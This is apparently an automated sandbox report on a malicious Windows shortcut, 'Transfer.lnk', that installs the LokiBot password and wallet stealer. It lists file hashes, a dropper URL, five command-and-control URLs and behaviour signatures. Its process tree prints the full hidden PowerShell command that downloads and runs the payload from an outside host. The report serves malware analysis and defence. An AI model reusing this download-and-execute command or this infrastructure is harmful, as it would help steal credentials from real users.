Analysis

  • max time kernel
    147s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-10-2024 09:05

General

  • Target

    Transfer.lnk

  • Size

    2KB

  • MD5

    91942241d7a3553d62fa9f06cb71b217

  • SHA1

    d538b884fd46b75f9ffb995b91f6616738560618

  • SHA256

    ab59f8b9b018b923720f29e36410d0f0dd5993e650df92c5724d3d338df1c894

  • SHA512

    a443a0d6a85be71c3ce314c61ac205e2a2bc2d387eccc358633526716bd300c0ffeef056d8e0f55d3a2ad0c3626e6e5a6c03cb17d1a5bdef0acd63754b4e4210

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://www.sodiumlaurethsulfatedesyroyer.com/jlow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrgfea/zdhkbgualsbifbAFRAWYEGFYAUGEYGywefafaer/nezfdio.exe

Extracted

Family

lokibot

C2

http://freighteightonecam.sytes.net/ndifygidj/five/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Transfer.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2600
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle hidDEn Hiddden -Command OpenWith.exe;(new-object System.Net.WebClient).DownloadFile('https://www.sodiumlaurethsulfatedesyroyer.com/jlow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrgfea/zdhkbgualsbifbAFRAWYEGFYAUGEYGywefafaer/nezfdio.exe','Ojtjewi.exe');./'Ojtjewi.exe';(get-item 'Ojtjewi.exe').Attributes += 'Hidden';
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4744
      • C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe
        "C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4968
        • C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe
          C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe
          4⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • outlook_office_path
          • outlook_win_path
          PID:3568
        • C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe
          C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe
          4⤵
          • Executes dropped EXE
          PID:4800
        • C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe
          C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe
          4⤵
          • Executes dropped EXE
          PID:4792

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe

    Filesize

    377KB

    MD5

    6746fbb343ddec70416177f77ef83c2a

    SHA1

    13a2698094e6513427c06721df1cc5de2132d5f4

    SHA256

    5b82fc5190c0d6644a7eabdf20be1dfdd96d7d8a46d3c329ba2a48b96f7e26e6

    SHA512

    4106edbf6a07e209045bdce8286f9cb5c9983afb21551419c32228a4eb1e87c57c88cb7615c67a263d036a892edab1cc6d4f46e33116f65c4405955a7e8cc3a4

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ar3mx3sa.byc.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1194130065-3471212556-1656947724-1000\0f5007522459c86e95ffcc62f32308f1_a53bb4ca-6113-48bb-9609-441860fdd0d7

    Filesize

    46B

    MD5

    d898504a722bff1524134c6ab6a5eaa5

    SHA1

    e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

    SHA256

    878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

    SHA512

    26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1194130065-3471212556-1656947724-1000\0f5007522459c86e95ffcc62f32308f1_a53bb4ca-6113-48bb-9609-441860fdd0d7

    Filesize

    46B

    MD5

    c07225d4e7d01d31042965f048728a0a

    SHA1

    69d70b340fd9f44c89adb9a2278df84faa9906b7

    SHA256

    8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

    SHA512

    23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

  • memory/3568-33-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/3568-31-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/3568-67-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/3568-59-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/4744-23-0x00007FFAAB230000-0x00007FFAABCF1000-memory.dmp

    Filesize

    10.8MB

  • memory/4744-14-0x00007FFAAB230000-0x00007FFAABCF1000-memory.dmp

    Filesize

    10.8MB

  • memory/4744-3-0x000001B6B4DD0000-0x000001B6B4DF2000-memory.dmp

    Filesize

    136KB

  • memory/4744-13-0x00007FFAAB230000-0x00007FFAABCF1000-memory.dmp

    Filesize

    10.8MB

  • memory/4744-2-0x00007FFAAB233000-0x00007FFAAB235000-memory.dmp

    Filesize

    8KB

  • memory/4968-25-0x0000000001850000-0x0000000001856000-memory.dmp

    Filesize

    24KB

  • memory/4968-30-0x0000000005300000-0x0000000005306000-memory.dmp

    Filesize

    24KB

  • memory/4968-29-0x000000000E5C0000-0x000000000E652000-memory.dmp

    Filesize

    584KB

  • memory/4968-28-0x000000000EB70000-0x000000000F114000-memory.dmp

    Filesize

    5.6MB

  • memory/4968-27-0x000000000E520000-0x000000000E5BC000-memory.dmp

    Filesize

    624KB

  • memory/4968-26-0x00000000058B0000-0x0000000005918000-memory.dmp

    Filesize

    416KB

  • memory/4968-24-0x0000000000F90000-0x0000000000FF6000-memory.dmp

    Filesize

    408KB